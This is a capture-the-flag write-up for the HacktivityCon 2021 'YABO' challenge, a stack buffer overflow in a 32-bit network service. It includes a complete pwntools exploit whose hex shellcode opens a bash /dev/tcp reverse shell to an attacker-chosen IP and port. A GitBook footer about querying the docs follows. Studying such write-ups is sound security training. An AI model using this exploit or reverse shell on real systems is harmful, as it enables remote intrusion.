## The binary

![](/files/-Mk5MZ1rNUa5C5-YXFA3)

The binary starts a listener on port 9999 and waited for input.

## Buffer Overflow

The program copies the input to a 1024 bytes buffer with strcpy and thus has a buffer overflow vulnerability.

We can use a jmp esp gadget to jump to our shellcode and run it.

I used the following shellcode:

{% embed url="<https://www.exploit-db.com/exploits/40924>" %}

A simple /bin/sh shellcode wouldn't work since the remote process that receives the input is a fork, the shell will be popped on the server but won't receive input through the socket. With the shellcode I used, exploiting is as easy as appending the desired command to the shellcode, so I used a bash + /dev/tcp shell.

## Final Exploit

```python
#!/usr/bin/env python
from pwn import *

e = context.binary = ELF('./YABO',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',32762)
else:
    io = remote('127.0.0.1',9999)

ip = sys.argv[1]
port = sys.argv[2]

buf = 1044*'A'
buf += p32(0x80492e2) # jmp esp
buf += "\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x62\x61\x73\x68\x20\x2d\x63\x20\x22\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f" + ip + "\x2f" + port + "\x20\x30\x3e\x26\x31\x22"

io.sendline(buf)
io.interactive()
```

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xten.gitbook.io/public/hacktivitycon/2021/yabo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
